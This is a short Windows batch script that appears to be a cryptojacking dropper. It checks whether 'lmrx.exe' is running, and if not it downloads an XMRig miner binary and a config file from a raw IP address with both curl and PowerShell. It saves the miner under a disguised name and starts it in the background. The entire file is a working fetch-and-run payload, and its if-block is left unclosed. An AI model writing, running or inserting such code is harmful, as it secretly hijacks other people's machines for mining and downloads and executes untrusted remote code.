@echo off
tasklist /FI "IMAGENAME eq lmrx.exe" 2>NUL | find /I /N "lmrx.exe">NUL
if "%ERRORLEVEL%"=="0" (
echo lmrx.exe is already running.
) else (
del lmrx.exe
del config.json
curl -o lmrx.exe http://193.32.162.34/xmrig.exe
curl -o config.json http://193.32.162.34/wconfig.json
powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/xmrig.exe' -OutFile 'lmrx.exe'"
powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/wconfig.json' -OutFile 'config.json'"
echo done
lmrx.exe -c config.json -B